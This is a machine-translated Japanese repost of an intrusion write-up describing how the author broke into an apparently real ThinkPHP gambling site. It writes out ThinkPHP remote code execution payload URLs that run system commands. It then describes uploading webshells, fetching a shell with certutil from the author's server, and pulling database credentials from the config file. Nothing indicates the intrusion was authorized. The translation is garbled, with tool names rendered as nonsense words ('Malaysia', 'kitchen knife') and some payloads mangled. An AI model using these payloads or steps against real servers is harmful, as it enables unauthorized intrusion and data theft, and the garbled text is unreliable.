Jump to content

私は誤ってThinkPhpのほうれん草のサイトを発見しました。最近TPに抜け穴はありませんでしたか?

それから私はそれをさりげなくテストしましたが、プロセスはそれほどスムーズではありませんでしたが、ついに勝ちましたので、私は自分のアイデアを共有するためにこの記事を投稿しました。

0x00ワンクリックゲッシェル

短い見方の後、多くの人がプレイするはずですよね?

1049983-20240105093324133-383409570.png数日前、私はテストツールを書き、最初にテストするためにそれを取り出しました。

このツールは脆弱性を示しています

1049983-20240105093335090-2095780538.pngワンクリックゲッシェル、非常に滑らかに見えます、ハハ。

1049983-20240105093335989-559902528.pngしかし. Xiao Mingは髪を振って、物事が単純ではないことを発見しました。

1049983-20240105093336787-674964719.png包丁が接続されている場合、500のエラーが返されます。

1049983-20240105093337570-1853999192.png FirefoxのHackbarを使用して確認しました。それには何の問題もないので、なぜ包丁をつなげることができないのですか?

ケチな人として、私は深い考えに陥らざるを得ませんでした.

1049983-20240105093338367-558319976.png

0x01開始分析

私はこのツールを自分で書いたので、上記の写真から3番目の経験が呼ばれていることを発見したので、それを分析して見てみましょう。

次のようにPOC

/?s=index/\ think \ app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1] []=dir

POCの後にWhoamiを入力して、権限を確認しましょう。

/?s=index/\ think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=systemvars [1] []=whoami

IIS許可

ただし、Echo Dirなど、一部のコマンドを実行できます。

1049983-20240105093339418-1872353037.png

0x02シェルを突破してみてください

エコーを実行できるので、ポニーを書くことができます。それが成功した場合、私たちはポニーを使用してポニーをアップロードしてそれを行い、それを言うとすぐにそれを行います。大変な作業が来たら、列に並んで書かなければなりません。

注:コードのシンボルは^^で逃げる必要があります。たとえば、PHPは^^?phpに逃げました

1049983-20240105093340495-1537021683.png行ごとの執筆が完了した後、アクセスするときに正常に実行できないことがわかりました。ここでスクリーンショットを撮るのを忘れました。

次に、次の方法を使用してファイルをサーバーにダウンロードしようとしましたが、失敗しました。

1049983-20240105093351352-1328543067.png私があきらめようとしていたとき、私はまだ役に立たないダウンロードコマンドがあったことを思い出しました。

それはcertutil.exeです

それを行うだけで、マレーシアをサーバーに置き、HFSを有効にしてください。

次に、次のコマンドを実行します。

1049983-20240105093352245-99523761.pngはマレーシアに成功しましたが、あまりにも早く幸せにならないでください。

1049983-20240105093353277-1543002363.png Xiao Mingは再び髪を振って、物事がさらに難しいことを発見しました.

1049983-20240105093354070-918181612.pngマレーシアはファイルのアップロードを操作して名前を変更するなどしますが、ファイルを編集できず、ファイルソースコードなどを表示できません。クリックして空白スペースを表示します。

1049983-20240105093354903-784253893.pngそうなので、データベースに行き、見てみましょう。

TPのデータベース構成ファイルが次の場所にあることは誰もが知っています

/application/database.php

マレーシアを開くことができないため、TPコマンドを使用して脆弱性を実行し、Typeコマンドを使用してこのファイルを読み取ることができます。

/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]

読み取りの試みは失敗し、コピーコマンドが頭に浮かぶようになりました。

database.phpをWebルートディレクトリにコピーし、名前を1.txtに変更します

/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]]

コピーした後、URL/1.TXTにアクセスして、それが空であることがわかります。

0x03成功したブレークスルー

一連の障害を経験した後、私は落ち着いて考えました。また、File_Pathを使用してソースコードを読み取ることもできます。

1049983-20240105093405723-1104995441.png DAMAを使用して、このファイルをルートディレクトリにアップロードしてからアクセスし、データベース構成情報を正常に取得します。

1049983-20240105093407641-1694905724.png次に、構成情報を入力してデータベースを入力します。

1049983-20240105093408996-20299154.png 1049983-20240105093415084-497983513.pngこの記事が書かれた夜遅くすでにありました。私はテーブルの上でインスタント麺の半分を食べたインスタント麺を見て、最後に2杯のスープを飲み、電話をオフにして寝ました.

元のリンクから転載:https://www.jiansshu.com/p/1f9b02780f1c

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...